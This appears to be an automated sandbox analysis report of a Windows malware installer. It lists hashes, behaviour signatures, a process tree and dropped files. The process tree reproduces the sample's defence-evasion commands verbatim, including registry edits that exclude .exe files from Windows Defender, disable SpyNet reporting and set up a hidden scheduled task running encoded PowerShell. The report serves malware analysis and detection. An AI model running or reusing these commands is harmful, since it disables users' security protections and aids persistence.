Resubmissions

15-11-2024 18:05

241115-wpjcdsxrdy 10

11-11-2024 21:40

241111-1h6xbsxcql 10

03-12-2022 17:54

221203-wg4ncscc33 10

Analysis

  • max time kernel
    233s
  • max time network
    31s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    03-12-2022 17:54

General

  • Target

    8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe

  • Size

    7.3MB

  • MD5

    83dbe0cb14f889e38fc0f8889842cf9d

  • SHA1

    ded313ca908136000fd9e5f623dcf0974e2b5f30

  • SHA256

    8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff

  • SHA512

    ad4bef13d8b816dc81b42e0a2983cedd8c1b66bb15ffff93d908dd8bb78621c2ec690c44dc01bffb3a378159c42c7552ebd27bdb889eb13351a85a26d61fbac6

  • SSDEEP

    196608:91O0G+ffRqHIxpuBM9lsB1veokOefmev7+RND:3OL+ffRqoxpAQi0POcmez+LD

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe
    "C:\Users\Admin\AppData\Local\Temp\8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:688
      • C:\Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Loads dropped DLL
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1276
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1456
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1268
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:1648
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:1868
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1040
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:928
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:1556
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:836
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gRVHKgpEt" /SC once /ST 12:21:21 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:616
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gRVHKgpEt"
                  4⤵
                    PID:2008
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gRVHKgpEt"
                    4⤵
                      PID:524
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {5FD825BA-C107-4A01-86FF-4B1C02EEA040} S-1-5-21-3385717845-2518323428-350143044-1000:SABDUHNY\Admin:Interactive:[1]
                1⤵
                  PID:1716
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1832
                    • C:\Windows\system32\gpupdate.exe
                      "C:\Windows\system32\gpupdate.exe" /force
                      3⤵
                        PID:592

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe

                    Filesize

                    6.3MB

                    MD5

                    ded964e022a37d93d434091ec75f9881

                    SHA1

                    e89a551ac1f19dc3838e21157667e2f98d84d06b

                    SHA256

                    9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

                    SHA512

                    13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

                  • C:\Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe

                    Filesize

                    6.3MB

                    MD5

                    ded964e022a37d93d434091ec75f9881

                    SHA1

                    e89a551ac1f19dc3838e21157667e2f98d84d06b

                    SHA256

                    9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

                    SHA512

                    13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

                  • C:\Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe

                    Filesize

                    6.8MB

                    MD5

                    6cb87a9fc7dc1f2a5410fd428f5460f0

                    SHA1

                    2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

                    SHA256

                    fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

                    SHA512

                    4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

                  • C:\Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe

                    Filesize

                    6.8MB

                    MD5

                    6cb87a9fc7dc1f2a5410fd428f5460f0

                    SHA1

                    2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

                    SHA256

                    fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

                    SHA512

                    4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

                  • \Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe

                    Filesize

                    6.3MB

                    MD5

                    ded964e022a37d93d434091ec75f9881

                    SHA1

                    e89a551ac1f19dc3838e21157667e2f98d84d06b

                    SHA256

                    9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

                    SHA512

                    13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

                  • \Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe

                    Filesize

                    6.3MB

                    MD5

                    ded964e022a37d93d434091ec75f9881

                    SHA1

                    e89a551ac1f19dc3838e21157667e2f98d84d06b

                    SHA256

                    9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

                    SHA512

                    13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

                  • \Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe

                    Filesize

                    6.3MB

                    MD5

                    ded964e022a37d93d434091ec75f9881

                    SHA1

                    e89a551ac1f19dc3838e21157667e2f98d84d06b

                    SHA256

                    9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

                    SHA512

                    13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

                  • \Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe

                    Filesize

                    6.3MB

                    MD5

                    ded964e022a37d93d434091ec75f9881

                    SHA1

                    e89a551ac1f19dc3838e21157667e2f98d84d06b

                    SHA256

                    9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

                    SHA512

                    13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

                  • \Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe

                    Filesize

                    6.8MB

                    MD5

                    6cb87a9fc7dc1f2a5410fd428f5460f0

                    SHA1

                    2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

                    SHA256

                    fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

                    SHA512

                    4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

                  • \Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe

                    Filesize

                    6.8MB

                    MD5

                    6cb87a9fc7dc1f2a5410fd428f5460f0

                    SHA1

                    2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

                    SHA256

                    fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

                    SHA512

                    4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

                  • \Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe

                    Filesize

                    6.8MB

                    MD5

                    6cb87a9fc7dc1f2a5410fd428f5460f0

                    SHA1

                    2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

                    SHA256

                    fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

                    SHA512

                    4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

                  • \Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe

                    Filesize

                    6.8MB

                    MD5

                    6cb87a9fc7dc1f2a5410fd428f5460f0

                    SHA1

                    2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

                    SHA256

                    fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

                    SHA512

                    4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

                  • memory/524-104-0x0000000000000000-mapping.dmp

                  • memory/592-101-0x0000000000000000-mapping.dmp

                  • memory/616-90-0x0000000000000000-mapping.dmp

                  • memory/688-56-0x0000000000000000-mapping.dmp

                  • memory/836-86-0x0000000000000000-mapping.dmp

                  • memory/928-79-0x0000000000000000-mapping.dmp

                  • memory/1040-75-0x0000000000000000-mapping.dmp

                  • memory/1268-78-0x0000000000000000-mapping.dmp

                  • memory/1276-64-0x0000000000000000-mapping.dmp

                  • memory/1276-71-0x0000000010000000-0x0000000010B5D000-memory.dmp

                    Filesize

                    11.4MB

                  • memory/1456-74-0x0000000000000000-mapping.dmp

                  • memory/1556-83-0x0000000000000000-mapping.dmp

                  • memory/1648-82-0x0000000000000000-mapping.dmp

                  • memory/1712-54-0x0000000075DA1000-0x0000000075DA3000-memory.dmp

                    Filesize

                    8KB

                  • memory/1832-96-0x000007FEF4020000-0x000007FEF4A43000-memory.dmp

                    Filesize

                    10.1MB

                  • memory/1832-95-0x000007FEFC631000-0x000007FEFC633000-memory.dmp

                    Filesize

                    8KB

                  • memory/1832-94-0x0000000000000000-mapping.dmp

                  • memory/1832-98-0x00000000026B4000-0x00000000026B7000-memory.dmp

                    Filesize

                    12KB

                  • memory/1832-97-0x000007FEF34C0000-0x000007FEF401D000-memory.dmp

                    Filesize

                    11.4MB

                  • memory/1832-99-0x000000001B790000-0x000000001BA8F000-memory.dmp

                    Filesize

                    3.0MB

                  • memory/1832-100-0x00000000026BB000-0x00000000026DA000-memory.dmp

                    Filesize

                    124KB

                  • memory/1832-103-0x00000000026BB000-0x00000000026DA000-memory.dmp

                    Filesize

                    124KB

                  • memory/1832-102-0x00000000026B4000-0x00000000026B7000-memory.dmp

                    Filesize

                    12KB

                  • memory/1868-87-0x0000000000000000-mapping.dmp

                  • memory/2008-92-0x0000000000000000-mapping.dmp